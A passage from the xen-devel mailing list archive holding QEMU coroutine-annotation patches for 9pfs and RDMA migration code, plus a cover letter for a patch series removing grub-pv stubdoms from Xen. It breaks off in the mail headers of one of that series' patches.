-static void xen_9pfs_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn xen_9pfs_push_and_notify(V9fsPDU *pdu)
 {
     RING_IDX prod;
     Xen9pfsDev *priv = container_of(pdu->s, Xen9pfsDev, state);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366188.1616110 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wliry-0007nq-2A; Mon, 20 Jul 2026 07:56:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366188.1616110; Mon, 20 Jul 2026 07:56:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirx-0007ng-VY; Mon, 20 Jul 2026 07:56:57 +0000
Received: by outflank-mailman (input) for mailman id 1366188;
 Mon, 20 Jul 2026 07:56:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirw-0007i0-6M
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirv-006OPL-Iv
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4c1-e002-0a2a0a5209dd-0a2a45098e2e-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:55 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4c6-be1a-0a2a45090019-aa0a857ce7cb-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:55 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-654-a-9sm84FOP-1Id4qXsae5A-1; Mon,
 20 Jul 2026 03:56:49 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 9D017195C27E; Mon, 20 Jul 2026 07:56:47 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 906B5300019F; Mon, 20 Jul 2026 07:56:45 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534214;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=QtMvLnVwqMzsmDla/+s5l4nRkQgIhL5LT1ivzwU06OA=;
	b=GQGuyA/m6r/R3GF4YOhItEl/FV46Ht7TnauDUY79IB2mIXKL8O7bBmdCoibt6/mj3NnI7U
	RJMXFsrFhwKGk36D3myqXlWoSy7Xl9PFRzjsoNKik6QsI8qOy2/oAGKddP0TSXWUtgH/yg
	7YCOyC+kLXQygw/zDsIrtu4hTiFRCR8=
X-MC-Unique: a-9sm84FOP-1Id4qXsae5A-1
X-Mimecast-MFC-AGG-ID: a-9sm84FOP-1Id4qXsae5A_1784534207
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:37 +0400
Subject: [PATCH 8/8] migration/rdma: annotate and simplify
 wait_comp_channel()
MIME-Version: 1.0
Message-Id: <20260720-co-v1-8-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1578;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=oJIZjL5v3qPuEfmBmoADXHdeUtnH1fO9aSt78aaOTQA=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJmwU3fDMJVOh8NuPQiJP+1ImSwWEZ2LEnz
 qyx/VYPaPuJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5QRXD/9BDWYERq9hLRl+MFCCSV5uIL8qHuaXkYPzavZXz7FtCWheLKyyvu7gNq789M2FyuM6L/U
 SmN25PuDKXTlF0LLOKYvy6NCVOmVtdB7O4X9Hr/527c79DSfow3UbQOHHLIPnWy9R7s6YKriGsc
 EhBrRia46wFO7TjPaDdYpX/fKWOpgm2Fushi3gMbtZcac+5WWg0SkECprjBV0b+OXThYzlzpe9o
 N/kxmJMzJOj5BSePFncuxHyN6VlkssZrgd4MhWf0PthYCSnetE1WDSMPBCv2644cXFk1EUdkBPM
 pouk07hjPvPgyI8GRY8cKNn/j3crriZPAMd9obZ3+nI34KECpH9aINhlRs7jMl1mQkq0NU3eDug
 9omDTtOEUTZYs9U4LGSptWwmVklM12krTzNUeuabXyG6EA9tcBuIo2d+GhtOvgrXRO2IfGkz1Mj
 c7+oQjf8y0ZuQYAkw0rTQQ9CXjh+qaNGv6hTHg5hHhmbEwTGSZraj1RzRNvu4s1A5qtSAQkRmGW
 frqDSIk1ncj1UZ1Cz7aWKNP11TsjvC7DqePEvURkQvZCzTLg5IZiD5Aq+XfQiJqcF7jIv7oeo6y
 z4BpSH8CNBkAYoPujDpgvdtJ4Sk3Dx4rPgNrKoXeg9mOq7ONID/yFe4vKn7XQFs3ZxaJeZ7hZ1f
 WBJ+qu9IhQiLhRA==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-Mimecast-MFC-PROC-ID: riYuG6eBLdHJ-1YoEq7v_NdOQR7HQYhixnx53Uqv3tA_1784534207
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784534215-BC8C9034-6191174D/0/0
X-purgate-type: clean
X-purgate-size: 1580

The function calls yield_until_fd_readable() (coroutine_fn) when in
coroutine context, and polls with qemu_poll_ns() otherwise.

Replace the migration-state proxy check with qemu_in_coroutine(),
which directly tests what matters.

Fixes: 2da776db4846 ("rdma: core logic")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 migration/rdma.c | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/migration/rdma.c b/migration/rdma.c
index 3e37a1d4401..438419d1894 100644
--- a/migration/rdma.c
+++ b/migration/rdma.c
@@ -1348,17 +1348,13 @@ static int qemu_rdma_poll(RDMAContext *rdma, struct ibv_cq *cq,
 /* Wait for activity on the completion channel.
  * Returns 0 on success, none-0 on error.
  */
-static int qemu_rdma_wait_comp_channel(RDMAContext *rdma,
-                                       struct ibv_comp_channel *comp_channel)
+static int coroutine_mixed_fn
+qemu_rdma_wait_comp_channel(RDMAContext *rdma,
+                            struct ibv_comp_channel *comp_channel)
 {
     struct rdma_cm_event *cm_event;
 
-    /*
-     * Coroutine doesn't start until migration_fd_process_incoming()
-     * so don't yield unless we know we're running inside of a coroutine.
-     */
-    if (rdma->migration_started_on_destination &&
-        migration_incoming_get_current()->state == MIGRATION_STATUS_ACTIVE) {
+    if (qemu_in_coroutine()) {
         yield_until_fd_readable(comp_channel->fd);
     } else {
         /* This is the source side, we're in a separate thread

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:18:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:18:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366241.1616122 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD2-0005RZ-Ju; Mon, 20 Jul 2026 08:18:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366241.1616122; Mon, 20 Jul 2026 08:18:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljD2-0005RS-GX; Mon, 20 Jul 2026 08:18:44 +0000
Received: by outflank-mailman (input) for mailman id 1366241;
 Mon, 20 Jul 2026 08:18:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljD0-0005Q4-CB
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:18:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljCz-008gUA-OW
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:18:41 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9cd-e002-0a2a0a5209dd-0a2a450abf2a-46
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:41 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9dc-f2d2-0a2a450a0019-c387df82af4e-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:36 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 0640E79E49;
 Mon, 20 Jul 2026 08:18:36 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id B5BAB779AA;
 Mon, 20 Jul 2026 08:18:35 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id t4sCK9vZXWoCXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:18:35 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535516; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=v+0XHPWRsIM9ob8BEo6dqGPtRbN/TeKosZaZ6YyhmkQ=;
	b=eisnc6914+jJcn7EKHQ+B0JXjUcVA9RkYJ9et5uLCgrIifLyo2lbS496KMXWuSyTlOw2pX
	zaRUjxmYgZxeIUojIFEN5cj4B8SBqZPsKhI527nDhmZ9u28GVIuK4Qvz9wR/EUrdz4Ii6K
	/jkVacy3adEhYCKdzTpER/oXz0u2VUY=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=eisnc691
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535516; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=v+0XHPWRsIM9ob8BEo6dqGPtRbN/TeKosZaZ6YyhmkQ=;
	b=eisnc6914+jJcn7EKHQ+B0JXjUcVA9RkYJ9et5uLCgrIifLyo2lbS496KMXWuSyTlOw2pX
	zaRUjxmYgZxeIUojIFEN5cj4B8SBqZPsKhI527nDhmZ9u28GVIuK4Qvz9wR/EUrdz4Ii6K
	/jkVacy3adEhYCKdzTpER/oXz0u2VUY=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH v2 0/5] stubdom: remove grub-pv
Date: Mon, 20 Jul 2026 10:18:27 +0200
Message-ID: <20260720081833.4122182-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 0640E79E49
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:mid,suse.com:dkim,imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	MIME_TRACE(0.00)[0:+];
	FROM_HAS_DN(0.00)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCPT_COUNT_SEVEN(0.00)[10];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	TO_DN_SOME(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-4011c0/1784535521-4B0D9CFC-9D85A99D/0/0
X-purgate-type: clean
X-purgate-size: 4723

The grub-pv stubdoms (32- and 64-bit) are disabled by default since
several years now.

Remove them in order to enable removing quite some more code from Xen.
In case someone is really depending on grub-pv, they can easily take it
from an older Xen build, as there is no Xen version dependency in
grub-pv (a version built 3 years ago has been tested to still work
with current 4.23 staging Xen).

Note that after this series has been committed, some additional
cleanup is possible by removing stubdom libpci and zlib support, but
this will require a modification of Mini-OS depending on these patches.

Changes in V2:
- moved one hunk from patch 2 to patch 1

Juergen Gross (5):
  stubdom: remove support for grub-pv
  stubdom: remove support for building in 32-bit mode
  stubdom: remove building of libxenguest and libxenctrl
  docs: remove stale stubdom entries from stubdom.txt
  tools/libxenguest: remove Mini-OS specific parts

 Makefile                                      |    6 -
 config/Stubdom.mk.in                          |    3 -
 docs/misc/stubdom.txt                         |   69 -
 stubdom/.gitignore                            |    1 -
 stubdom/Makefile                              |   69 +-
 stubdom/configure                             |   65 -
 stubdom/configure.ac                          |    2 -
 stubdom/grub.patches/00cvs                    | 1022 -----
 stubdom/grub.patches/10graphics.diff          | 2297 -----------
 stubdom/grub.patches/11graphics-keyboard.diff |   13 -
 stubdom/grub.patches/20print_func.diff        |   52 -
 stubdom/grub.patches/30savedefault.diff       |  186 -
 .../grub.patches/40ext3_256byte_inode.diff    |  114 -
 stubdom/grub.patches/50fs_fulldisk.diff       |   72 -
 stubdom/grub.patches/60ext4.diff              |  474 ---
 stubdom/grub.patches/61btrfs.diff             | 3499 -----------------
 stubdom/grub.patches/70compiler_warnings.diff |   45 -
 stubdom/grub.patches/99minios                 | 1570 --------
 stubdom/grub/Makefile                         |   88 -
 stubdom/grub/boot-x86_32.S                    |  112 -
 stubdom/grub/boot-x86_64.S                    |  108 -
 stubdom/grub/config.h                         |   12 -
 stubdom/grub/kexec.c                          |  434 --
 stubdom/grub/mini-os.c                        |  771 ----
 stubdom/grub/mini-os.h                        |    7 -
 stubdom/grub/minios.cfg                       |    4 -
 stubdom/grub/osdep.h                          |   30 -
 tools/libs/guest/Makefile.common              |   15 -
 tools/libs/guest/xg_dom_decompress_unsafe.c   |   48 -
 tools/libs/guest/xg_dom_decompress_unsafe.h   |   28 -
 .../guest/xg_dom_decompress_unsafe_bzip2.c    |   14 -
 .../libs/guest/xg_dom_decompress_unsafe_lz4.c |   39 -
 .../guest/xg_dom_decompress_unsafe_lzma.c     |   14 -
 .../guest/xg_dom_decompress_unsafe_lzo1x.c    |   44 -
 .../libs/guest/xg_dom_decompress_unsafe_xz.c  |   46 -
 .../guest/xg_dom_decompress_unsafe_zstd.c     |   44 -
 36 files changed, 1 insertion(+), 11416 deletions(-)
 delete mode 100644 stubdom/grub.patches/00cvs
 delete mode 100644 stubdom/grub.patches/10graphics.diff
 delete mode 100644 stubdom/grub.patches/11graphics-keyboard.diff
 delete mode 100644 stubdom/grub.patches/20print_func.diff
 delete mode 100644 stubdom/grub.patches/30savedefault.diff
 delete mode 100644 stubdom/grub.patches/40ext3_256byte_inode.diff
 delete mode 100644 stubdom/grub.patches/50fs_fulldisk.diff
 delete mode 100644 stubdom/grub.patches/60ext4.diff
 delete mode 100644 stubdom/grub.patches/61btrfs.diff
 delete mode 100644 stubdom/grub.patches/70compiler_warnings.diff
 delete mode 100644 stubdom/grub.patches/99minios
 delete mode 100644 stubdom/grub/Makefile
 delete mode 100644 stubdom/grub/boot-x86_32.S
 delete mode 100644 stubdom/grub/boot-x86_64.S
 delete mode 100644 stubdom/grub/config.h
 delete mode 100644 stubdom/grub/kexec.c
 delete mode 100644 stubdom/grub/mini-os.c
 delete mode 100644 stubdom/grub/mini-os.h
 delete mode 100644 stubdom/grub/minios.cfg
 delete mode 100644 stubdom/grub/osdep.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_xz.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_zstd.c

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:18:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:18:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366244.1616149 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDD-0006Dk-Ol; Mon, 20 Jul 2026 08:18:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366244.1616149; Mon, 20 Jul 2026 08:18:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDD-0006Dd-L9; Mon, 20 Jul 2026 08:18:55 +0000
Received: by outflank-mailman (input) for mailman id 1366244;
 Mon, 20 Jul 2026 08:18:53 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljDB-0006BU-QP
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:18:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljDB-000Q8b-7D
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:18:53 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9e5-2eae-0a2a0a5409dd-0a2a4506b5d4-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:53 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9ed-195a-0a2a45060019-c387df828f60-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:53 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id BAF3379E46;
 Mon, 20 Jul 2026 08:18:52 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 95AB1779AA;
 Mon, 20 Jul 2026 08:18:52 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id ABMqI+zZXWrLXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:18:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535532; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+rR6a7u62PrIE8LmzzOCco11yRON8r8BBfjyeOxn53M=;
	b=Twg0vhucaNAvaoxVABi3APoMRF/QHfavTSV6x2mEHmnlb+3B2ClmXyFhuPK1bTY/HzXDG9
	9FypavQX2z88Yytf6SG0mRaFCE2ng8KXZJHFbuT/fjMNsY718Z7J0CwKJbY8O8tjnSsci+
	jaQSq5Z7ucQo7R0qnNBS3NfFbUoY60U=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=Twg0vhuc
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535532; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=+rR6a7u62PrIE8LmzzOCco11yRON8r8BBfjyeOxn53M=;
	b=Twg0vhucaNAvaoxVABi3APoMRF/QHfavTSV6x2mEHmnlb+3B2ClmXyFhuPK1bTY/HzXDG9
	9FypavQX2z88Yytf6SG0mRaFCE2ng8KXZJHFbuT/fjMNsY718Z7J0CwKJbY8O8tjnSsci+
	jaQSq5Z7ucQo7R0qnNBS3NfFbUoY60U=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH v2 3/5] stubdom: remove building of libxenguest and libxenctrl
Date: Mon, 20 Jul 2026 10:18:30 +0200
Message-ID: <20260720081833.4122182-4-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
References: <20260720081833.4122182-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
